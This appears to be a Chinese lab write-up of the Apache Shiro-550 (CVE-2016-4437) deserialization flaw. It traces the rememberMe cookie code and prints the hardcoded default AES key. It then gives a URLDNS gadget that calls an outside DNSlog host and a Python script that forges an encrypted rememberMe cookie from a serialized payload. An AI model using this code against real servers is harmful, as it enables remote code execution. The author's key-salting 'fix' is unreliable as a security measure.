Apache Shiro-550 反序列化漏洞复现

Apache Shiro-550 反序列化漏洞

Apache Shiro550反序列化(CVE-2016-4437)漏洞分析、复现及修复。

Apache Shiro是一个开源安全框架,拥有身份验证、授权、加密和会话管理的功能。

一、漏洞分析

1.1 漏洞原理

​ Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
​ 在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

1.2 影响范围

Apache Shiro <= 1.2.4

1.3 特征判断

返回包中包含rememberMe=deleteMe字段。

二、漏洞复现

2.1环境搭建

1、下载shiro1.2.4

https://github.com/apache/shiro/tree/shiro-root-1.2.4

2、然后直接使用IDEA打开samples下的web项目,然后配置好Tomcat(版本Tomcat9)

3、在web中的pom.xml中添加如下的依赖

<dependency>
    <groupId>taglibs</groupId>
    <artifactId>standard</artifactId>
    <version>1.1.2</version>
    <scope>runtime</scope>
</dependency>

4、添加samples_web_war_exploded

5、搭建成功界面

image-20240228103740242

2.2 漏洞特征

通过BP抓包查看shiro反序列化的特征

URL:http://localhost:8081/samples_web_war_exploded/

image-20240228130540635

image-20240228130606353

image-20240228130628101

GET /samples_web_war_exploded/account HTTP/1.1
Host: localhost:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Referer: http://localhost:8081/samples_web_war_exploded/login.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=391F0A60E39C9681BC0B1C4354C4C0E0; rememberMe=V//xDuY/A2UHbHyiqKowEiu28Te22N632KUq7BFOd0I4pMouWmRF09dCmONIrOGVVW6CgTM0EuhKr5Sh8qc8UtxLckJjehG7vHZQRS2ksgkxeVw1qGoOWqXTSfKLdSJJdIyhhNuJt2mNfXGZMOncMdzrO5n3Y12KLd7aTd8g22PSjIBvjzegWtNqg99EhysSVsoz/2/0j/V32AeRwgnUI6WJcad8r55EHCFqX53nHCBvx9g3R5qMH2M1RBi6++U9bei5x+CwT9q8iEDl6gfY59qrrKIrFMIyUOA9ZPdhVV0RD+GkqClXBYRwfm9HymPR0sbLTZjD8q+zys/TNlLRu3yOsoPWwxSvhs3P/aJ3Hc5yWNE6CZdG1EE3RxM/P4iTYli9iDMVsHy8toRDq3YXpfbr0sI93Rbax0sKwKnn13vE5XKvdV8XPxPtPM5ScdJRU6KovEXo18Nohmdf7QkI19q1DTAfOqoTrmOQpA+7I70QJ//0hs6KxcLfHvsnJTCp
Connection: close


2.3程序调试

写在前面:

1、为了方便阅读加了一个子目录2.3.X。

2、下图为调试以后自己总结的一个方法调用图。查看顺序“从上到下,从左到右

函数调用关系图.drawio

2.3.0 分析

在IDEA中查找rememberMe

image-20240228151215404

挨个查看,RememberMeManager类定义了一些方法。AbstractRememberMeManager类CookieRememberMeManager类实现

其关系是: RememberMeManager类AbstractRememberMeManager类的父类;

AbstractRememberMeManager类CookieRememberMeManager类的父类

public abstract class AbstractRememberMeManager implements RememberMeManager{......}
public class CookieRememberMeManager extends AbstractRememberMeManager {......}

可以得到的信息:(根据命名翻译进行推测,大概知道什么功能)

AbstractRememberMeManager类

定义了一个默认密码子节串(后面有用)

 private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

CookieRememberMeManager类

序列化标识函数

/*
       * @param subject the Subject for which the identity is being serialized.
       * @param serialized the serialized bytes to be persisted.
*/
protected void rememberSerializedIdentity(Subject subject, byte[] serialized)

获得序列化的标识的字节数组函数

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) 
2.3.1 入手

rememberSerializedIdentity方法有关于cookie的操作:

Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);

从该方法入手

image-20240228154459941

顺着引用可以发现onSuccessfulLogin调用rememberIdentityrememberIdentity调用了rememberSerializedIdentity方法;
image-20240229103228495
image-20240229103146009

然后从rememberSerializedIdentity方法进行调试F8进行下一步

rememberSerializedIdentity方法在cookie保存前进行了Base64编码;

image-20240228154626112

2.3.2 总的方法

程序来到了rememberIdentity方法,调用rememberSerializedIdentity方法结束的地方。在rememberSerializedIdentity方法之前有一个convertPrincipalsToBytes方法

image-20240228154826301

2.3.3 获取字节数组

Ctrl查看convertPrincipalsToBytes方法

1、将参数principals进行序列化

2、判断是否获得加密服务,为空的话进行加密

3、返回序列化后并加密后的字节数组

image-20240228155043365

到此可以确定程序对登陆信息进行了序列化->加密->base64编码->cookie值

2.3.4 序列化

于是,先Ctrl查看序列化函数serialize

该方法将对象principals进行序列化后,得到字节数组并返回

image-20240228155649732

打断点,逐步调试,进行查看

image-20240228160152775

将一个对象序列化为字节数组。序列化过程中,创建字节输出流,并使用对象输出流将对象写入到输出流中,最后将输出流中的字节数据转换为字节数组并返回。

BufferedOutputStream 对象,会包装 ByteArrayOutputStream,提供缓冲功能,以提高写入性能。

image-20240228160310223

2.3.5 加密(AES)

接着2.3.3进行查看

image-20240228161405708

ctrl进入getCipherService函数,看下在判断什么。

可以看到返回了一个密码服务

image-20240228161449538

继续ctrl查看cipherService是什么

可见cipherServiceAbstractRememberMeManager类定义的一个值。

image-20240228161617916

继续查找cipherService在哪赋值,查找AbstractRememberMeManager类构造函数

this.cipherService = new AesCipherService();

名字判断是一个AES加密服务,Ctrl进入AesCipherService继续查看,以确认AES加密

image-20240228161808501

确实是AES

image-20240228162018087

image-20240228161956007

2.3.6 默认密钥

回到调试的2.3.3

image-20240228162720159

逐步调试进入encrypt函数

进行代码审计,可以得出最重要的加密语句是

ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());

该方法会接受两个参数:要加密的字节数组 serialized 和加密密钥 getEncryptionCipherKey(),并返回一个 ByteSource 对象,该对象包含了加密后的数据。

image-20240228162808047

逐步调试进入 cipherService.encrypt函数,是一个加密方法

image-20240228163259507

返回查看参数getEncryptionCipherKey()

image-20240228163433866

image-20240228163532875

由前面的定义可以知道默认的密码字节数组

 private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

AbstractRememberMeManager构造函数

    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService(); cipherService使用的是AES密码服务,查看AesCipherService
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES); 赋值密码
    }

setCipherKey函数

    public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }

由此知构造函数会利用DEFAULT_CIPHER_KEY_BYTES生成

构造函数通过DEFAULT_CIPHER_KEY_BYTES生成默认密钥

到此

2.3.7 解密调试

通过BP发送带着Cookie的请求进行逐步调试

image-20240229143510203

调试后梳理的结果如下:

getRememberedPrincipals是总的方法,分别调用了

1、getRememberedSerializedIdentity方法

2、convertBytesToPrincipals方法

image-20240229144632428

1、getRememberedSerializedIdentity方法,只要rememberMe不是deleteMe那么就会对rememberMe进行base64解码并返回

image-20240229144423661

2、convertBytesToPrincipals方法。分为解密和反序列化

image-20240229144738641

decrypt方法用来解密AES

image-20240229145314603

deserialize方法

image-20240229145359585

打断点查看deserialize方法,是一个反序列化过程

image-20240229145543291

解密完成之后就会顺利地进行反序列化了,因为rememberMe是从Cookie中得到的,而Cookie又是可控的,因此在开发者没有改AES密钥的情况下,这个反序列化点是可控的,满足反序列化漏洞的基本条件。

漏洞利用顺序

Cookie中的RememberMe -> Base64解密 -> 使用AES密钥解密(密钥存在硬编码) -> 进行反序列化

2.5 漏洞利用

分析到这里,我们就能得到漏洞的利用方式了。我们首先构造一个恶意的序列化对象,然后用代码中固定的key对其进行AES加密,然后对其进行base64编码,将编码后的内容作为cookie发送即可。服务端收到序列化的对象,对其进行base64解码、解密后再反序列化,从而触发漏洞利用。

特征验证

首先,使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架

image-20240229150809067

方法一:URLDNS链+DNSlog 模拟

我用的这个平台:https://dig.pm/

URLDNS链介绍:

构造一个URLDNS代码生成一个恶意对象,并进行序列化存储

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Application {
        public static void main(String[] args) throws Exception {
            HashMap<URL, Integer> hashMap = new HashMap<>();
            URL url = new URL("http://8acd45fd4b.ipv6.1433.eu.org");
            Field hashCodeField = Class.forName("java.net.URL").getDeclaredField("hashCode");
            hashCodeField.setAccessible(true);
            hashCodeField.set(url, 123);
            hashMap.put(url, 0);
            hashCodeField.set(url, -1);

            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.bin"));
            oos.writeObject(hashMap);

            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.bin"));
            ois.readObject();
        }
}

生成RemenberMe的值:对其进行用代码中的key对其进行AES加密(IV值随便取),并对加密结果进行base64编码:

import uuid
import base64
from Crypto.Cipher import AES


def AESencrypt(message, key,mode,iv):
    BS = AES.block_size
    # PKCS7 填充函数
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    # 初始化 AES 加密器
    cipher = AES.new(key,mode,iv)
    # 加密消息,并进行填充
    encrypted_message = cipher.encrypt(pad(message))
    # 返回 IV 和 加密后的消息进行 Base64 编码后的结果
    return base64.b64encode(iv+encrypted_message)



def ReadFile(filename):
    with open(filename,"rb") as f:
        data=f.read()
    return data


if __name__ == '__main__':
    file_name = "object.bin"
    data=ReadFile(file_name)

    keybyte = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes

    AESencrypted=AESencrypt(data,keybyte,mode,iv) #包含了base64
    print(AESencrypted)
    

通过BP发送请求

image-20240229192343720

DNSLOG收到请求

image-20240229192458657

方法二:集成工具

配置好参数运行

image-20240301150439798

image-20240301150642366

三、漏洞修复

修复建议:

升级shiro至最新版本

个人修复措施:

1、对默认密钥通过加盐,变为动态不可知密钥

密码加盐:AbstractRememberMeManager类做如下修改

    protected static String GetDate(){
        Calendar calendar = Calendar.getInstance();
        int year = calendar.get(Calendar.YEAR);
        int month = calendar.get(Calendar.MONTH) + 1; // 月份从0开始,所以需要加1
        int day = calendar.get(Calendar.DAY_OF_MONTH);

        return String.valueOf(year)+String.valueOf(month)+String.valueOf(day);

    }
    // 读取文本文件内容并打印到控制台
    public static String readFile(String filename) {
        try (BufferedReader reader = new BufferedReader(new FileReader(filename))) {
            String line;
            while ((line = reader.readLine()) != null) {
                return line;
                //System.out.println(line);
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    // 将文本写入文件
    public static void writeFile(String filename, String content) {
        try (BufferedWriter writer = new BufferedWriter(new FileWriter(filename))) {
            writer.write(content);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }


    protected static byte[] KEY_BYTES_Add_Slat(byte[] KeyByteS) {
        // System.out.println("123");

        String date=GetDate();
        String oldDate=readFile("date.txt");
        // 生成随机字节序列作为额外的盐
        byte[] randomBytes = new byte[16]; // 16字节的随机序列


        if (!date.equals(oldDate)){
            SecureRandom random = new SecureRandom();
            random.setSeed(new Date().getTime());
            random.nextBytes(randomBytes);
            writeFile("salt.txt", Arrays.toString(randomBytes));
            writeFile("date.txt",date);
        }


        randomBytes=readFile("salt.txt").getBytes();


        byte[] value = new byte[KeyByteS.length + randomBytes.length];
        System.arraycopy(KeyByteS, 0, value, 0, KeyByteS.length);
        System.arraycopy(randomBytes, 0, value, KeyByteS.length, randomBytes.length);


        return value;
    }

image-20240302162409979

2、对用户输入的数据进行限制和过滤

四、总结

知识点:代码审计、Java反序列化漏洞、AES加密、URLDNS链

资源:

shiro1.2.4

vulhub/shiro/CVE-2016-4437

参考文献

shiro-550反序列化漏洞

shiro反序列化漏洞分析

Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)

shiro550反序列化漏洞原理与漏洞复现

Apache Shiro-550 反序列化漏洞简单分析复现(CVE-2016-4437)

ava反序列化漏洞原理

特别回顾丨2021十大Java漏洞

  • 27
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值